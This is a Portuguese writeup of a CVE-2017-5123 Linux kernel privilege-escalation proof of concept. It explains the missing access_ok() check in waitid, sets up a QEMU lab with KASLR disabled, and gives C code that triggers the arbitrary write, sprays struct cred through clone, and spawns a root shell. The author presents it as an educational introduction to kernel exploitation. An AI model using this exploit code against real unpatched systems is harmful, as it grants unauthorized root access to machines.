
PoC CVE-2017-5123 - LPE - Contornando SMEP/SMAP. Sem KASLR
Prova de Conceito CVE-2017-5123 - EPL - Contornando SMEP/SMAP. Sem KASLR
Neste pequeno writeup, analisarei uma vulnerabilidade do kernel que nos permite obter privilégio root.
Este arquivo está dividido em quatro partes:
Quero destacar que existem muitas maneiras melhores de explorar este CVE (de fato, isso é apenas um PoC para aprender o kernel, não pode ser usado in the wild), mas acredito que esta metodologia pode ser útil como uma introdução à exploração do kernel.
Esta vulnerabilidade foi introduzida em 4c48abe91be0, então precisamos compilar essa versão do kernel.
Isso pode ser um pouco complicado porque é uma versão antiga e o código deve ser corrigido.
Criei um repositório com um código de kernel já corrigido e um arquivo .config para que você possa clonar e compilar.
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse
Observe que este kernel será compilado com drivers virtio para que você possa usar virtio disk para compartilhar arquivos de/para a VM.
Agora, criaremos o rootfs inicial:
qemu-img create -f raw hda.raw 10G
# Formata o disco para ext4
mkfs.ext4 ./hda.raw
# Cria um ponto de montagem para a imagem
mkdir /tmp/mount1
# Monta o disco
sudo mount -o loop ./hda.raw /tmp/mount1
Em seguida, devemos instalar uma distribuição Linux básica, por exemplo usando pacstrap ou debootstrap.
sudo pacstrap /tmp/mount1 base base-devel vim
Finalmente, podemos modificar o sistema:
# Adiciona um usuário 'test'
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# Sem senha
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow
# Podemos montar um disco virtio para compartilhar arquivos entre host e convidado
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared
# É útil ter permissão sudo
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1
Se tudo estiver em ordem, podemos testar nosso sistema com qemu:
qemu-system-x86_64 \
-kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
-hda ./hda.raw \
-m 4G \
-cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
-smp 4 \
-vga virtio \
-enable-kvm \
-nographic \
-machine type=q35,accel=kvm \
-virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
-append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
-chardev "vc,id=vc.0,cols=1920,rows=1080" \
-net "user,hostfwd=tcp::10022-:22" \
-net "nic" \
-s
A descrição do CVE diz que há uma operação de escrita não restrita durante a chamada de sistema waitid.
Vamos abrir kernel/exit.c e olhar o código:
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
Esta função é bastante direta: após algumas verificações, há várias chamadas para unsafe_put_user(...) e a função retorna.
A parte principal desta função é composta pela função unsafe_put_user(...), então vamos para lá (arch/x86/include/asm/uaccess.h):
/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/
#define user_access_begin() __uaccess_begin()
#define user_access_end() __uaccess_end()
#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)
#define unsafe_get_user(x, ptr, err_label) \
do { \
int __gu_err; \
__inttype(*(ptr)) __gu_val; \
__get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT); \
(x) = (__force __typeof__(*(ptr)))__gu_val; \
if (unlikely(__gu_err)) goto err_label; \
} while (0)
Há um grande aviso no comentário: se você quiser usar unsafe_put/get_user, deve primeiro chamar access_ok() e envolvê-los com user_access_begin/end().
Se observarmos o código anterior (waitid), podemos ver que access_ok() nunca é chamado, então a chamada de sistema viola este aviso.
Mas o que são essas macros?
SMAP e SMEP são dois recursos de segurança introduzidos no kernel para dificultar a escrita de exploits. Vale notar que esses recursos são aplicados pela CPU.
SMEP impede a execução de código do espaço do usuário enquanto a CPU está em modo supervisor; SMAP, por outro lado, bloqueia o acesso de leitura/escrita à memória do usuário.
O kernel precisa escrever/ler dados de/para a memória do usuário e isso pode ser feito de duas maneiras:
copy_from_user) que permitem copiar a memória no espaço do kernel;Como podemos ver na definição de unsafe_put_user, esta função irá apenas copiar o valor de x para a memória apontada por ptr (e pular para err_label se houver erro). Acabamos de dizer que o kernel não pode acessar o espaço do usuário por causa do SMAP, e é por isso que essas funções devem ser envolvidas por user_access_begin/end().
#define __uaccess_begin() stac()
#define __uaccess_end() clac()
Como podemos ver, user_access_begin/end são simplesmente as instruções ASM stac e clac.
stac: "Define o bit de flag AC no registrador EFLAGS. Isso pode ativar a verificação de alinhamento de acessos a dados do modo de usuário. Permite acessos explícitos do modo supervisor a páginas do modo de usuário mesmo se o bit SMAP estiver definido no registrador CR4."clac: "Limpa o bit de flag AC no registrador EFLAGS. Isso desabilita qualquer verificação de alinhamento de acessos a dados do modo de usuário. Se o bit SMAP estiver definido no registrador CR4, isso impede acessos explícitos do modo supervisor a páginas do modo de usuário."Basicamente, essas duas macros ativam/desativam o SMAP.
Nosso "aviso" anterior também menciona a função access_ok:
/**
* access_ok: - Verifica se um ponteiro de espaço do usuário é válido
* @type: Tipo de acesso: %VERIFY_READ ou %VERIFY_WRITE. Note que
* %VERIFY_WRITE é um superconjunto de %VERIFY_READ - se for seguro
* escrever em um bloco, sempre é seguro ler dele.
* @addr: Ponteiro do espaço do usuário para o início do bloco a verificar
* @size: Tamanho do bloco a verificar
*
* Contexto: Apenas contexto de usuário. Esta função pode dormir se falhas de página
* estiverem habilitadas.
*
* Verifica se um ponteiro para um bloco de memória no espaço do usuário é válido.
*
* Retorna verdadeiro (diferente de zero) se o bloco de memória pode ser válido,
* falso (zero) se for definitivamente inválido.
*
* Note que, dependendo da arquitetura, essa função provavelmente apenas
* verifica se o ponteiro está na faixa do espaço do usuário - após chamar
* esta função, funções de acesso à memória ainda podem retornar -EFAULT.
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})
O comentário aqui é autoexplicativo: esta macro verifica se o ponteiro é um ponteiro válido do espaço do usuário.
Vamos dar outra olhada no código do waitid:
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
Como você já deve ter adivinhado, a ausência de access_ok() leva a uma escrita arbitrária em qualquer lugar da memória, pois o ponteiro infop é completamente controlado pelo atacante.
É muito fácil alcançar o caminho vulnerável e podemos criar um gatilho com este código simples:
int thread_ready;
int die_thread(void *arg){
thread_ready=1;
syscall(__NR_sched_yield);
return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
printf("[0] Tentando sobrescrever 0x%016lx\r", where);
//int pid = fork(); // Também é possível usar a chamada de sistema fork
thread_ready = 0;
int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
int err;
while(thread_ready == 0) {syscall(__NR_sched_yield);} // Devemos esperar a thread
err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);
return err;
}
Este código simples acionará a vulnerabilidade e escreverá na memória apontada pelo endereço where.
Podemos usar o gdb se quisermos verificar este gatilho. Por exemplo, podemos selecionar um endereço arbitrário e usar a função trigger_bug para sobrescrevê-lo.
Esta vulnerabilidade pode ser explorada de várias maneiras, mas prefiro uma abordagem muito simples.
Lembre-se de que podemos escrever onde quisermos, mas os dados escritos são parcialmente controlados. Podemos sobrescrever um endereço com 0.
A ideia básica é sobrescrever o UID do nosso processo e nos tornar root, mas primeiro precisamos entender o que são credenciais no Linux.
Começamos investigando a chamada de sistema fork. Esta função é usada para criar novos processos.
Podemos verificar o código em kernel/fork.c:
SYSCALL_DEFINE0(fork)
{
return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}
Portanto, a chamada de sistema fork é simplesmente um wrapper para _do_fork com parâmetros hardcoded.
Esta última função é um pouco longa, mas podemos resumi-la assim:
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;
......
// Isso criará outra task_struct, mas NÃO iniciará o processo.
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
......
// Acorda a nova tarefa criada. Isso definirá o estado da tarefa como RUNNING e a enfileirará na fila de execução
wake_up_new_task(p);
......
put_pid(pid);
} else {
nr = PTR_ERR(p);
}
return nr;
}
Esta função alocará um novo objeto task_struct. Embora esta estrutura seja realmente importante (ela descreve um processo), vamos focar nossa atenção no campo cred:
...
/* Credenciais do processo: */
/* Credenciais do rastreador no momento da anexação: */
const struct cred __rcu *ptracer_cred;
/* Credenciais objetivas e reais subjetivas da tarefa (COW): */
const struct cred __rcu *real_cred;
/* Credenciais subjetivas efetivas (substituíveis) da tarefa (COW): */
const struct cred __rcu *cred;
...
Como podemos ver, há (três) ponteiros para struct cred. Vamos ver como essa estrutura é composta (include/linux/cred.h):
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* número de processos inscritos */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* UID real da tarefa */
kgid_t gid; /* GID real da tarefa */
kuid_t suid; /* UID salvo da tarefa */
kgid_t sgid; /* GID salvo da tarefa */
kuid_t euid; /* UID efetivo da tarefa */
kgid_t egid; /* GID efetivo da tarefa */
kuid_t fsuid; /* UID para operações VFS */
kgid_t fsgid; /* GID para operações VFS */
......
Como podemos ver, o UID de um processo é simplesmente um inteiro sem sinal (siga a definição de kuid_t), então podemos simplesmente sobrescrever este valor com 0 para nos tornarmos root.
A estrutura task_struct é alocada na função copy_process, que é um pouco complexa e seu objetivo principal é "copiar" o processo em um novo.
Podemos nos concentrar em copy_creds(p, clone_flags), que é definido como:
/*
* Copia credenciais para o novo processo criado por fork()
*
* Compartilhamos se pudermos, mas sob algumas circunstâncias temos que gerar um novo
* conjunto.
*
* O novo processo obtém as credenciais subjetivas do processo atual como suas
* credenciais objetivas e subjetivas
*/
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
.........
error_put:
put_cred(new);
return ret;
}
Como podemos ver, esta função chama prepare_creds, onde a alocação real é realizada.
Agora temos um caminho para alocar um número (pseudo)arbitrário de struct cred:
_do_fork()copy_process()copy_creds()Nosso último problema é como chamar _do_fork() do espaço do usuário. Podemos usar fork, mas isso pode ser lento, então usaremos clone.
Nota: não podemos usar pthread por causa das flags: se você olhar o código copy_creds, notará que há um caminho onde a estrutura não é realmente alocada.
Agora, um pequeno resumo:
0 na memória0, ele obtém permissões root.Agora precisamos saber onde escrever na memória e, embora o KASLR esteja desabilitado, o endereço de um struct cred não é estável o suficiente, então decidi proceder com memory spraying.
Precisamos encontrar o struct cred na memória para detectar uma faixa de endereços. Podemos usar gdb e python com um script como este:
....
for task in task_lists():
#gdb.write("{address} {pid} {comm}\n".format(
# address=task,
# pid=task["pid"],
# comm=task["comm"].string()))
comm = task["comm"].string()
# Insira o nome do seu executável
if comm == "exploit":
print(task['cred'])
....
Nota: este script funciona apenas com KASLR desabilitado e com símbolos de depuração (precisamos do ponteiro init_task).
Podemos tentar algumas vezes e ver que o heap cresce para baixo, então podemos tentar um endereço inferior e subir.
Agora podemos usar a chamada de sistema clone para gerar muitos processos e, graças ao gdb, podemos verificar os endereços:
stack=malloc(STACK_SIZE)+STACK_SIZE;
for(x=0;x<MAX_THREADS;x++){
stackTop = malloc(STACK_SIZE) + STACK_SIZE;
if (!stackTop){
perror("[-] Malloc");
return -1;
}
// a função spray_thread pode ser simplesmente um loop infinito
pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
if (pid == -1){
perror("\n\nCLONE");
return -1;
}
printf("[0] Processo criado: %d\r", x);
}
Nota: Talvez você não consiga gerar mais de 4k processos. Verifique ulimits se for o caso.
Finalmente, podemos escrever nosso PoC.
Basta chamar trigger_bug com diferentes endereços (procurando a estrutura) enquanto nossa thread gerada verifica seu UID, assim:
struct shared_area{
int one_win;
};
struct shared_area glob_var;
// Thread pulverizada
int spray_thread(void *arg){
int uid;
int previous_one = syscall(__NR_getuid);
// Loop sobre a chamada de sistema getUID
while(1){
uid = syscall(__NR_getuid);
//printf("UID: %d\n",uid);
// Se o UID retornado for diferente do anterior, então acertamos uma área de struct cred
if (uid != previous_one){
printf("VITÓRIA!! com %d", uid);
// Mata outras threads para estabilizar o sistema
glob_var.one_win = 1;
// Simplesmente gera um shell
system("/bin/sh");
}
if(glob_var.one_win == 1)
return 1;
}
return 0;
}
Há uma probabilidade de 50% de acertar a estrutura, então após algumas tentativas você pode obter privilégio root.

Este é um PoC (básico) e o spraying está longe de ser perfeito. Esta é apenas uma "introdução" ao incrível mundo do kernel; existem muitos conceitos que pulei, mas eles são extremamente importantes (como gerenciamento de memória). Se você quiser estudar mais a fundo, pode dar uma olhada em prepare_creds e nas alocações de memória.
O KASLR está desabilitado, mas esta vulnerabilidade permite contornar essa mitigação também (unsafe_put_user não trava com endereços inválidos), mas não acho que adicionar uma nova "camada" de força bruta seja útil se seu objetivo é aprender o kernel. Se seu objetivo é usar esta vulnerabilidade in the wild, você deve escrever um exploit diferente (pelo menos, um spraying diferente).
Para reflexão: usei esta vulnerabilidade para entender e tentar a técnica ret2dir (Dica: você pode acionar a escrita no endereço alias e ler a modificação com endereço do espaço do usuário).